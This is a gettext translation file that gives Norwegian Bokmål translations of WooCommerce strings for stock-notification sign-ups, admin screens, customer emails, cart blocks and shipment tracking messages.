msgid "User ID or User Email is required."
msgstr "Brukerens id eller e-post er påkrevd."
#: src/Internal/StockNotifications/Notification.php:342
msgid "Product ID is required."
msgstr "Produkt-id er påkrevd."
#: src/Internal/StockNotifications/Frontend/SignupService.php:523
msgctxt "notice action"
msgid "Manage notifications"
msgstr "Administrer varsler"
#: src/Internal/StockNotifications/Frontend/SignupService.php:509
msgctxt "notice action"
msgid "Resend verification"
msgstr "Send bekreftelse på nytt"
#: src/Internal/StockNotifications/Frontend/SignupService.php:501
msgid "You have already joined this waitlist. Please complete the sign-up process by following the verification link sent to your e-mail."
msgstr "Du har allerede meldt deg på denne ventelisten. Fullfør påmeldingsprosessen ved å følge bekreftelseslenken du har fått tilsendt på e-post."
#: src/Internal/StockNotifications/Frontend/SignupService.php:497
msgid "You have already joined this waitlist."
msgstr "Du har allerede meldt deg på denne ventelisten."
#: src/Internal/StockNotifications/Frontend/SignupService.php:493
msgid "Thanks for signing up! An account has been created for you. Please complete the sign-up process by following the verification link sent to your e-mail."
msgstr "Takk for at du registrerte deg, en konto har blitt opprettet for deg. Fullfør registreringsprosessen ved å følge bekreftelseslenken som er sendt til e-posten din."
#. translators: Product name
#: src/Internal/StockNotifications/Frontend/SignupService.php:489
msgid "You have successfully signed up and will be notified when \"%s\" is back in stock! Note that a new account has been created for you; please check your e-mail for details."
msgstr "Du har registrert deg og vil bli varslet når «%s» er tilbake på lager. Merk at det er opprettet en ny konto for deg, sjekk e-posten din for mer informasjon."
#: src/Internal/StockNotifications/Frontend/SignupService.php:484
msgid "Thanks for signing up! Please complete the sign-up process by following the verification link sent to your e-mail."
msgstr "Takk for at du registrerte deg. Fullfør registreringsprosessen ved å følge bekreftelseslenken du har fått tilsendt på e-post."
#. translators: Product name
#: src/Internal/StockNotifications/Frontend/SignupService.php:480
msgid "You have successfully signed up! You will be notified when \"%s\" is back in stock."
msgstr "Du har registrert deg, og vil bli varslet når «%s» er tilbake på lager."
#: src/Internal/StockNotifications/Frontend/SignupService.php:462
msgid "Failed to sign up. Please try again."
msgstr "Kunne ikke registrere deg, forsøk igjen."
#: src/Internal/StockNotifications/Frontend/SignupService.php:460
msgid "You have already signed up too many times. Please try again later."
msgstr "Du har allerede registrert deg for mange ganger, forsøk igjen senere."
#: src/Internal/StockNotifications/Frontend/SignupService.php:458
msgid "To proceed, please consent to the creation of a new account with your e-mail."
msgstr "For å fortsette må du gi samtykke til opprettelsen av en ny konto med e-postadressen din."
#: src/Internal/StockNotifications/Frontend/SignupService.php:456
msgid "Invalid email address."
msgstr "Ugyldig e-postadresse."
#: src/Internal/StockNotifications/Frontend/SignupService.php:454
msgid "Invalid user."
msgstr "Ugyldig bruker."
#: src/Internal/StockNotifications/Frontend/ProductPageIntegration.php:185
msgctxt "back in stock form"
msgid "here"
msgstr "her"
#: src/Internal/StockNotifications/Frontend/ProductPageIntegration.php:184
msgid "You have already joined the waitlist! Click {manage_account_link} to manage your notifications."
msgstr "Du har allerede meldt deg på ventelisten. Trykk på {manage_account_link} for å administrere varslene dine."
#: src/Internal/StockNotifications/Frontend/ProductPageIntegration.php:155
msgctxt "back in stock form"
msgid "log in"
msgstr "logge inn"
#: src/Internal/StockNotifications/Frontend/ProductPageIntegration.php:154
msgid "Please {login_link} to sign up for stock notifications."
msgstr "Du må {login_link} for å registrere deg for lagervarsler."
#. translators: %2$s product name, %1$s user email
#: src/Internal/StockNotifications/Emails/EmailActionController.php:131
msgid "Successfully unsubscribed %1$s. You will not receive a notification when \"%2$s\" becomes available."
msgstr "Du har meldt deg av «%1$s». Du vil ikke motta varsel når «%2$s» blir tilgjengelig."
#. translators: %s is product name
#: src/Internal/StockNotifications/Emails/EmailActionController.php:93
msgid "Successfully verified stock notifications for \"%s\"."
msgstr "Lagervarsler for «%s» er bekreftet."
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifyEmail.php:159
msgctxt "Stock Notification confirm notification"
msgid "Confirm"
msgstr "Bekreft"
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifyEmail.php:64
msgid "Please follow the link below to complete the sign-up process and join the \"{product_name}\" waitlist."
msgstr "Følg lenken nedenfor for å fullføre påmeldingsprosessen og bli med på ventelisten for «{product_name}»."
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifyEmail.php:55
msgid "Confirm sign-up"
msgstr "Bekreft påmelding"
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifyEmail.php:46
msgid "Join the \"{product_name}\" waitlist."
msgstr "Bli med på ventelisten for «{product_name}»."
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifyEmail.php:25
msgid "Verification e-mail sent to customers, as part of the double opt-in sign-up process."
msgstr "E-post for bekreftelse som sendt til kunder, som en del av påmeldingsprosessen med dobbel bekreftelse."
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifyEmail.php:24
msgid "Back in stock sign-up verification"
msgstr "Verifisering av registrering av tilbake på lager"
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifiedEmail.php:63
msgid "Thanks for joining the waitlist! You will hear from us again when \"{product_name}\" is back in stock."
msgstr "Takk for at du ble med på ventelisten. Du vil høre fra oss igjen når «{product_name}» er tilbake på lager."
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifiedEmail.php:54
msgid "Sign-up successful"
msgstr "Påmelding vellykket"
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifiedEmail.php:45
msgid "You have joined the \"{product_name}\" waitlist."
msgstr "Du har meldt deg på ventelisten for «{product_name}»."
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifiedEmail.php:24
msgid "Email sent to customers after completing the sign-up process successfully."
msgstr "E-post som sendes til kunder som har fullført registreringsprosessen."
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifiedEmail.php:23
msgid "Back in stock sign-up confirmation"
msgstr "Bekreftelse av registrering av tilbake på lager"
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationEmail.php:289
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifiedEmail.php:251
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifyEmail.php:275
msgid "Text to appear below the main e-mail header."
msgstr "Tekst som skal vises under hovedoverskriften i e-posten."
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationEmail.php:154
msgctxt "Email notification"
msgid "Shop Now"
msgstr "Kjøp nå"
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationEmail.php:61
msgid "Great news: \"{product_name}\" is now available for purchase."
msgstr "Gode nyheter: «{product_name}» er nå tilgjengelig for bestilling."
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationEmail.php:52
msgid "It's back in stock!"
msgstr "Tilbake på lager."
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationEmail.php:43
msgid "\"{product_name}\" is back in stock!"
msgstr "«{product_name}» er tilbake på lager."
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationEmail.php:24
msgid "Email sent to signed-up customers when a product is back in stock."
msgstr "E-post som sendes til påmeldte kunder når et produkt er tilbake på lager."
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationEmail.php:23
msgid "Back in stock notification"
msgstr "Varsel for tilbake på lager"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notifications.php:41
msgid "No customers have signed up to receive stock notifications from you just yet."
msgstr "Ingen kunder har registrert seg for å motta lagervarsler fra deg ennå."
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notifications.php:30
msgid "Search by user e-mail"
msgstr "Søk etter brukerens e-post"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notifications.php:29
msgid "Search Notifications"
msgstr "Søk i varslinger"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:209
msgid "Signed-up customers"
msgstr "Påmeldte kunder"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:190
msgid "Signed up"
msgstr "Påmeldt"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:166
msgid "Waiting"
msgstr "Venter"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:151
msgid "Product not found."
msgstr "Produktet ble ikke funnet."
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:136
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:216
msgid "View notifications →"
msgstr "Vis varsler →"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:134
msgid "View profile →"
msgstr "Vis profil →"
#. translators: %s: Notification ID
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:87
msgid "Notification #%d details"
msgstr "Detaljer for varsel nr. %d"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:48
msgid "Resend verification email"
msgstr "Send e-post for bekreftelse på nytt"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:19
msgid "Edit Notification"
msgstr "Rediger varsel"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:108
msgid "Enter customer e-mail…"
msgstr "Fyll inn kundens e-post …"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:107
msgid "— or —"
msgstr "— eller —"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:66
msgid "Notification details"
msgstr "Varslingsdetaljer"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:34
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:36
msgid "Notification actions"
msgstr "Varslingshandlinger"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:19
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:20
msgid "View All"
msgstr "Vis alle"
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:18
msgid "Add Notification"
msgstr "Legg til varsling"
#: src/Internal/StockNotifications/Admin/SettingsController.php:227
msgid "Let customers sign up to be notified when this product is restocked"
msgstr "La kundene melde seg på for å bli varslet når dette produktet kommer på lager igjen."
#: src/Internal/StockNotifications/Admin/SettingsController.php:216
msgid "Stock notifications"
msgstr "Lagervarsler"
#: src/Internal/StockNotifications/Admin/SettingsController.php:130
msgid "Create an account when guests sign up for stock notifications."
msgstr "Opprett en konto når gjestene melder seg på lagervarsler."
#: src/Internal/StockNotifications/Admin/SettingsController.php:124
msgid "When enabled, guests will be redirected to a login page to complete the sign-up process."
msgstr "Når denne funksjonen er aktivert, blir gjestene omdirigert til en påloggingsside for å fullføre registreringsprosessen."
#: src/Internal/StockNotifications/Admin/SettingsController.php:120
msgid "Customers must be logged in to sign up for stock notifications."
msgstr "Kunder må være logget inn for å melde seg på lagervarsler."
#: src/Internal/StockNotifications/Admin/SettingsController.php:119
msgid "Guest sign-up"
msgstr "Gjestepåmelding"
#: src/Internal/StockNotifications/Admin/SettingsController.php:111
msgid "Delete unverified notification sign-ups after (in days)"
msgstr "Slett ubekreftede påmeldinger etter (i dager)"
#: src/Internal/StockNotifications/Admin/SettingsController.php:104
msgid "To complete the sign-up process, customers must follow a verification link sent to their e-mail after submitting the sign-up form."
msgstr "For å fullføre registreringen må kundene følge en bekreftelseslenke som sendes til e-posten deres etter at de har sendt inn registreringsskjemaet."
#: src/Internal/StockNotifications/Admin/SettingsController.php:103
msgid "Require double opt-in to sign up"
msgstr "Krev dobbel bekreftelse for å melde seg på"
#: src/Internal/StockNotifications/Admin/SettingsController.php:96
msgid "Let customers sign up to be notified when products in your store are restocked."
msgstr "La kundene registrere seg for å bli varslet når produkter i butikken er på lager igjen."
#: src/Internal/StockNotifications/Admin/SettingsController.php:95
msgid "Allow sign-ups"
msgstr "Tillat påmeldinger"
#: src/Internal/StockNotifications/Admin/SettingsController.php:44
#: src/Internal/StockNotifications/Admin/SettingsController.php:88
msgid "Customer stock notifications"
msgstr "Lagervarsler for kunder"
#. translators: %s user email.
#: src/Internal/StockNotifications/Admin/NotificationEditPage.php:109
msgid "Verification email sent to \"%s\"."
msgstr "E-post for bekreftelse er sendt til «%s»."
#. translators: %s user email.
#: src/Internal/StockNotifications/Admin/NotificationEditPage.php:103
msgid "Notification sent to \"%s\"."
msgstr "Varsel sendt til «%s»."
#: src/Internal/StockNotifications/Admin/NotificationEditPage.php:94
msgid "Failed to send notification. Please make sure that the listed product is available."
msgstr "Kunne ikke sende varsel. Kontroller at det oppførte produktet er tilgjengelig."
#: src/Internal/StockNotifications/Admin/NotificationEditPage.php:73
#: src/Internal/StockNotifications/Admin/NotificationEditPage.php:86
msgid "Notification updated."
msgstr "Varsel oppdatert."
#: src/Internal/StockNotifications/Admin/NotificationCreatePage.php:104
msgid "Notification created."
msgstr "Varsel opprettet."
#: src/Internal/StockNotifications/Admin/NotificationCreatePage.php:44
#: src/Internal/StockNotifications/Admin/NotificationCreatePage.php:56
msgid "Please select a customer."
msgstr "Velg en kunde."
#: src/Internal/StockNotifications/Admin/NotificationCreatePage.php:39
msgid "Please select a product."
msgstr "Velg et produkt."
#: src/Internal/StockNotifications/Admin/MenusController.php:79
msgid "Notifications per page"
msgstr "Varsler per side"
#: src/Internal/StockNotifications/Admin/MenusController.php:54
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notifications.php:18
msgid "Stock Notifications"
msgstr "Lagervarsler"
#. translators: %s: Notifications count
#: src/Internal/StockNotifications/Admin/ListTable.php:808
msgctxt "notifications_status"
msgid "%s notification deleted."
msgid_plural "%s notifications deleted."
msgstr[0] "%s varsel ble slettet."
msgstr[1] "%s varsler ble slettet."
#. translators: %s: Notifications count
#: src/Internal/StockNotifications/Admin/ListTable.php:767
#: src/Internal/StockNotifications/Admin/ListTable.php:788
msgctxt "notifications_status"
msgid "%s notification updated."
msgid_plural "%s notifications updated."
msgstr[0] "%s varsel ble oppdatert."
msgstr[1] "%s varsler ble oppdatert."
#: src/Internal/StockNotifications/Admin/ListTable.php:729
#: src/Internal/StockNotifications/Admin/NotificationEditPage.php:31
msgid "Notification not found."
msgstr "Varselet ble ikke funnet."
#: src/Internal/StockNotifications/Admin/ListTable.php:724
msgid "Notification deleted."
msgstr "Varsel ble slettet."
#: src/Internal/StockNotifications/Admin/ListTable.php:665
msgid "Filter by date"
msgstr "Filtrer etter dato"
#. translators: %s: Notifications count
#: src/Internal/StockNotifications/Admin/ListTable.php:595
msgctxt "notifications_status"
msgid "Pending <span class=\"count\">(%s)</span>"
msgid_plural "Pending <span class=\"count\">(%s)</span>"
msgstr[0] "Ventende <span class=\"count\">(%s)</span>"
msgstr[1] "Ventende <span class=\"count\">(%s)</span>"
#. translators: %s: Notifications count
#: src/Internal/StockNotifications/Admin/ListTable.php:579
msgctxt "notifications_status"
msgid "Cancelled <span class=\"count\">(%s)</span>"
msgid_plural "Cancelled <span class=\"count\">(%s)</span>"
msgstr[0] "Kansellert <span class=\"count\">(%s)</span>"
msgstr[1] "Kansellerte <span class=\"count\">(%s)</span>"
#. translators: %s: Notifications count
#: src/Internal/StockNotifications/Admin/ListTable.php:563
msgctxt "notifications_status"
msgid "Sent <span class=\"count\">(%s)</span>"
msgid_plural "Sent <span class=\"count\">(%s)</span>"
msgstr[0] "Sendt <span class=\"count\">(%s)</span>"
msgstr[1] "Sendte <span class=\"count\">(%s)</span>"
#. translators: %s: Notifications count
#: src/Internal/StockNotifications/Admin/ListTable.php:547
msgctxt "notifications_status"
msgid "Active <span class=\"count\">(%s)</span>"
msgid_plural "Active <span class=\"count\">(%s)</span>"
msgstr[0] "Aktiv <span class=\"count\">(%s)</span>"
msgstr[1] "Aktive <span class=\"count\">(%s)</span>"
#. translators: %s: Notifications count
#: src/Internal/StockNotifications/Admin/ListTable.php:531
msgctxt "notifications_status"
msgid "All <span class=\"count\">(%s)</span>"
msgid_plural "All <span class=\"count\">(%s)</span>"
msgstr[0] "Alle <span class=\"count\">(%s)</span>"
msgstr[1] "Alle <span class=\"count\">(%s)</span>"
#: src/Internal/StockNotifications/Admin/ListTable.php:511
msgid "Select customer…"
msgstr "Velg kunde …"
#: src/Internal/StockNotifications/Admin/ListTable.php:479
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-create.php:139
msgid "Select product…"
msgstr "Velg produkt …"
#: src/Internal/StockNotifications/Admin/ListTable.php:382
msgid "Invalid product selected."
msgstr "Ugyldig produkt valgt."
#: src/Internal/StockNotifications/Admin/ListTable.php:287
msgctxt "column_name"
msgid "Signed Up"
msgstr "Påmeldt"
#: src/Internal/StockNotifications/Admin/ListTable.php:286
msgctxt "column_name"
msgid "SKU"
msgstr "Produktnr."
#: src/Internal/StockNotifications/Admin/ListTable.php:285
msgctxt "column_name"
msgid "Product"
msgstr "Produkt"
#: src/Internal/StockNotifications/Admin/ListTable.php:284
msgctxt "column_name"
msgid "User/Email"
msgstr "Bruker/E-post"
#: src/Internal/StockNotifications/Admin/ListTable.php:283
msgctxt "column_name"
msgid "Status"
msgstr "Status"
#: src/Internal/StockNotifications/Admin/ListTable.php:282
msgctxt "column_name"
msgid "Notification"
msgstr "Varsling"
#: src/Internal/StockNotifications/Admin/ListTable.php:269
msgid "No Notifications found"
msgstr "Ingen varsler funnet"
#: src/Internal/StockNotifications/Admin/ListTable.php:254
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:175
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:199
msgctxt "list table date hover format"
msgid "Y/m/d g:i:s a"
msgstr "d.m.Y H:i:s"
#: src/Internal/StockNotifications/Admin/ListTable.php:250
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:170
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:195
msgid "—"
msgstr "—"
#: src/Internal/StockNotifications/Admin/ListTable.php:164
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:106
msgctxt "stock notification status"
msgid "Active"
msgstr "Aktiv"
#: src/Internal/StockNotifications/Admin/ListTable.php:161
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:103
msgctxt "stock notification status"
msgid "Sent"
msgstr "Sendt"
#: src/Internal/StockNotifications/Admin/ListTable.php:158
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:100
msgctxt "stock notification status"
msgid "Cancelled"
msgstr "Kansellert"
#: src/Internal/StockNotifications/Admin/ListTable.php:155
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notification-edit.php:97
msgctxt "stock notification status"
msgid "Pending"
msgstr "På vent"
#. translators: %s: Notification code
#: src/Internal/StockNotifications/Admin/ListTable.php:139
msgid "“%s” (Edit)"
msgstr "«%s» (rediger)"
#: src/Internal/StockNotifications/Admin/AdminManager.php:49
msgid "Delete the selected notifications permanently?"
msgstr "Slette de valgte varslene permanent?"
#: src/Internal/StockNotifications/Admin/AdminManager.php:48
msgid "Delete this notification permanently?"
msgstr "Slette dette varselet permanent?"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:4192
msgid "Nexi Checkout"
msgstr "Nexi Checkout"
#. translators: %d is the rating value from 1 to 5
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:191
msgid "%d of 5 star"
msgid_plural "%d of 5 stars"
msgstr[0] "%d av 5 stjerner"
msgstr[1] "%d av 5 stjerner"
#: includes/abstracts/abstract-wc-data.php:920
msgid "Invalid date provided."
msgstr "Ugyldig dato angitt."
#: assets/client/blocks/single-product/block.json
msgctxt "block keyword"
msgid "single product"
msgstr "enkeltprodukt"
#: assets/client/blocks/single-product/block.json
msgctxt "block description"
msgid "Display a single product of your choice with full control over its presentation."
msgstr "Vis ett enkelt produkt etter eget valg, med full kontroll over presentasjonen."
#: assets/client/blocks/single-product/block.json
msgctxt "block title"
msgid "Product"
msgstr "Produkt"
#: assets/client/blocks/product-filter-taxonomy/block.json
msgctxt "block description"
msgid "Enable customers to filter the product collection by selecting one or more taxonomy terms, such as categories, brands, or tags."
msgstr "Gjør det mulig for kundene å filtrere produktkolleksjonene ved å velge ett eller flere taksonomiske begreper som for eksempel kategorier, merker eller tagger."
#: assets/client/blocks/product-filter-taxonomy/block.json
msgctxt "block title"
msgid "Taxonomy Filter"
msgstr "Taksonomi-filter"
#: assets/client/blocks/payment-method-icons/block.json
msgctxt "block keyword"
msgid "payment methods"
msgstr "betalingsmåter"
#: assets/client/blocks/payment-method-icons/block.json
msgctxt "block keyword"
msgid "payments"
msgstr "betalinger"
#: assets/client/blocks/payment-method-icons/block.json
msgctxt "block description"
msgid "Display icons for available payment methods."
msgstr "Vis ikoner for tilgjengelige betalingsmåter."
#: assets/client/blocks/payment-method-icons/block.json
msgctxt "block title"
msgid "Payment Method Icons"
msgstr "Ikoner for betalingsmåte"
#: assets/client/blocks/mini-cart-contents/block.json
msgctxt "block description"
msgid "Display a Mini-Cart widget."
msgstr "Vis en widget med minihandlekurv."
#: assets/client/blocks/mini-cart-contents/block.json
msgctxt "block title"
msgid "Mini-Cart Contents"
msgstr "Innhold i minihandlekurv"
#. translators: %s is the shipment index
#: templates/order/order-details-fulfillments.php:119
msgid "Shipment %s"
msgstr "Forsendelse %s"
#: templates/emails/plain/email-fulfillment-details.php:30
#: assets/client/admin/wp-admin-scripts/fulfillments.js:2
msgid "Tracking URL"
msgstr "Nettadresse for sporing"
#: templates/emails/email-fulfillment-details.php:35
msgid "Track your shipment"
msgstr "Spor forsendelsen din"
#: templates/emails/email-fulfillment-details.php:33
#: templates/emails/plain/email-fulfillment-details.php:28
#: assets/client/admin/wp-admin-scripts/fulfillments.js:2
msgid "Tracking Number"
msgstr "Sporingsnummer"
#: templates/emails/email-fulfillment-details.php:31
#: templates/emails/plain/email-fulfillment-details.php:25
msgid "No tracking information available for this fulfillment at the moment."
msgstr "Det finnes ingen sporingsinformasjon tilgjengelig for denne leveransen for øyeblikket."
#: templates/emails/customer-fulfillment-updated.php:33
#: templates/emails/plain/customer-fulfillment-updated.php:26
msgid "Here’s the latest info we have:"
msgstr "Her er den siste informasjonen vi har:"
#. translators: %s: Customer first name
#: templates/emails/customer-fulfillment-updated.php:32
#: templates/emails/plain/customer-fulfillment-updated.php:25
msgid "Some details of your shipment have recently been updated. This may include tracking information, item contents, or delivery status."
msgstr "Noen detaljer om forsendelsen din har nylig blitt oppdatert. Dette kan omfatte sporingsinformasjon, innhold eller leveringsstatus."
#: src/Internal/Features/FeaturesController.php:544
msgid "Enable the new version of the Mini Cart that uses the Interactivity API instead of React in the frontend."
msgstr "Aktiver den nye versjonen av minihandlekurven som bruker «Interactivity API» i stedet for «React» på butikksiden."
#: src/Internal/Features/FeaturesController.php:543
msgid "Interactivity API powered Mini Cart"
msgstr "«Interactivity API»-drevet minihandlekurv"
#. translators: %d number of items in the cart.
#: src/Blocks/BlockTypes/MiniCartTitleItemsCounterBlock.php:46
msgid "(items: %d)"
msgstr "(elementer: %d)"
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1852
msgid "Product maximum price."
msgstr "Høyeste pris for produktet"
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1846
msgid "Product minimum price."
msgstr "Laveste pris for produktet"
#: includes/emails/class-wc-email-customer-fulfillment-created.php:202
#: includes/emails/class-wc-email-customer-fulfillment-updated.php:202
msgid "Service"
msgstr "Tjeneste"
#: assets/client/blocks/add-to-cart-with-options/block.json
msgctxt "block description"
msgid "Use blocks to create an \"Add to cart\" area that's customized for different product types, such as variable and grouped. "
msgstr "Bruk blokker til å opprette et «Legg i handlekurv»-område som er tilpasset ulike produkttyper, for eksempel variable og grupperte. "
#: assets/client/blocks/add-to-cart-with-options/block.json
msgctxt "block title"
msgid "Add to Cart + Options (Beta)"
msgstr "Legg i handlekurven, pluss valg (Beta)"
#: assets/client/blocks/add-to-cart-with-options-variation-selector/block.json
msgctxt "block description"
msgid "Display any product variations available to select from and add to cart."
msgstr "Vis alle produktvarianter som er tilgjengelige, og kan legges i handlekurven."
#: assets/client/blocks/add-to-cart-with-options-variation-selector/block.json
msgctxt "block title"
msgid "Variation Selector (Beta)"
msgstr "Variantvelger (Beta)"
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute/block.json
msgctxt "block description"
msgid "A template for attribute name and options that will be applied to all variable products with attributes."
msgstr "En mal for attributtnavn og alternativer som skal brukes på alle variable produkter med attributter."
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute/block.json
msgctxt "block title"
msgid "Variation Selector: Template (Beta)"
msgstr "Variantvelger: Mal (Beta)"
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute-options/block.json
msgctxt "block description"
msgid "Display the attribute options associated with a variable product."
msgstr "Vis attributtalternativene som er knyttet til et variabelt produkt."
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute-name/block.json
msgctxt "block description"
msgid "Format the name of an attribute associated with a variable product."
msgstr "Formaterer navnet på et attributt som er knyttet til et variabelt produkt."
#: assets/client/blocks/add-to-cart-with-options-grouped-product-item/block.json
msgctxt "block title"
msgid "Grouped Product: Template (Beta)"
msgstr "Gruppert produkt: Mal (Beta)"
#: assets/client/blocks/add-to-cart-with-options-grouped-product-item-selector/block.json
msgctxt "block description"
msgid "Add a way of selecting a child product within the Grouped Product block. Depending on the type of product and its properties, this might be a button, a checkbox, or a link."
msgstr "Legg til en måte å velge et underordnet produkt på i blokken «Gruppert produkt». Avhengig av produkttype og -egenskaper kan dette være en knapp, en avmerkingsboks eller en kobling."
#: assets/client/blocks/add-to-cart-with-options-grouped-product-item-selector/block.json
msgctxt "block title"
msgid "Grouped Product: Item Selector (Beta)"
msgstr "Gruppert produkt: Produktvelger (Beta)"
#: assets/client/blocks/add-to-cart-with-options-grouped-product-item-label/block.json
msgctxt "block description"
msgid "Display the product title as a label or paragraph."
msgstr "Vis produkttittelen som en etikett eller et avsnitt."
#: assets/client/blocks/add-to-cart-with-options-grouped-product-item-label/block.json
msgctxt "block title"
msgid "Grouped Product: Item Label (Beta)"
msgstr "Gruppert produkt: Produktetikett (Beta)"
#: assets/client/blocks/add-to-cart-form/block.json
msgctxt "block description"
msgid "Display a button that lets customers add a product to their cart. Use the added options to optimize for different product types."
msgstr "Vis en knapp som lar kundene legge til et produkt i handlekurven. Bruk alternativene som er lagt til for å optimalisere for ulike produkttyper."
#. translators: %1$s: Order number
#: templates/emails/customer-cancelled-order.php:40
#: templates/emails/plain/customer-cancelled-order.php:32
msgid "We’re getting in touch to let you know that your order #%1$s has been cancelled."
msgstr "Vi tar kontakt for å informere deg om at din ordre nr. %1$s er kansellert."
#. translators: %1$s: Order number
#: templates/emails/customer-cancelled-order.php:37
#: templates/emails/plain/customer-cancelled-order.php:29
msgid "We’re sorry to let you know that your order #%1$s has been cancelled."
msgstr "Vi beklager å måtte meddele deg at din ordre nr. %1$s har blitt kansellert."
#: templates/emails/block/general-block-email.php:133
msgid "Store Information"
msgstr "Butikkinformasjon"
#: templates/emails/block/customer-pos-completed-order.php:29
#: templates/emails/block/customer-pos-refunded-order.php:38
#: templates/emails/customer-pos-completed-order.php:45
#: templates/emails/customer-pos-refunded-order.php:54
#: templates/emails/plain/customer-pos-refunded-order.php:42
msgid "Here’s a reminder of what you’ve bought:"
msgstr "Her er en oversikt over hva du har kjøpt:"
#. translators: %s: Order number
#: templates/emails/block/customer-cancelled-order.php:37
msgid "Your order #%s has been cancelled."
msgstr "Din ordre nr. %s har blitt kansellert."
#. translators: %s: Order number
#: templates/emails/block/customer-cancelled-order.php:23
msgid "Order Cancelled: #%s"
msgstr "Ordre kanselleret: %s"
#. translators: %s: product ID
#: src/StoreApi/Utilities/CartController.php:1173
msgid "Product with ID \"%s\" was not found and cannot be added to the cart."
msgstr "Produktet med id «%s» ble ikke funnet og kan ikke legges til i handlekurven."
#. translators: %s: product name
#: src/StoreApi/Utilities/CartController.php:279
msgid "You cannot add "%s" with a quantity less than or equal to 0 to the cart."
msgstr "Du kan ikke legge til «%s» med et antall mindre enn eller lik 0 i handlekurven."
#: src/Internal/Utilities/Users.php:50
msgid "Invalid user ID."
msgstr "Ugyldig bruker-id."
#: src/Internal/Features/FeaturesController.php:512
msgid "Enable Point of Sale functionality in the WooCommerce mobile apps."
msgstr "Aktiver funksjonalitet for kassasystem i mobilappene for WooCommerce."
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:309
msgid "Order Custom Field"
msgstr "Egendefinert ordrefelt"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:292
msgid "Order Admin URL"
msgstr "Nettadresse for ordreadministrasjon"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:275
msgid "Order View URL"
msgstr "Nettadresse for ordrevisning"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:258
msgid "Order Billing Address"
msgstr "Faktureringsadresse for ordre"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:241
msgid "Order Shipping Address"
msgstr "Leveringsadresse for ordre"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:224
msgid "Order Shipping Method"
msgstr "Leveringsmåte for ordre"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:207
msgid "Order Transaction ID"
msgstr "Transaksjons-id for ordre"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:139
msgid "Order Shipping"
msgstr "Levering for ordre"
#: src/Internal/EmailEditor/PersonalizationTags/OrderTagsProvider.php:122
msgid "Order Discount"
msgstr "Rabatt for ordre"
#: src/Internal/EmailEditor/Integration.php:144
msgid "Search Emails"
msgstr "Søk i e-poster"
#: src/Internal/EmailEditor/Integration.php:143
msgid "View Email"
msgstr "Vis e-post"
#: src/Internal/EmailEditor/Integration.php:142
msgid "New Email"
msgstr "Ny e-post"
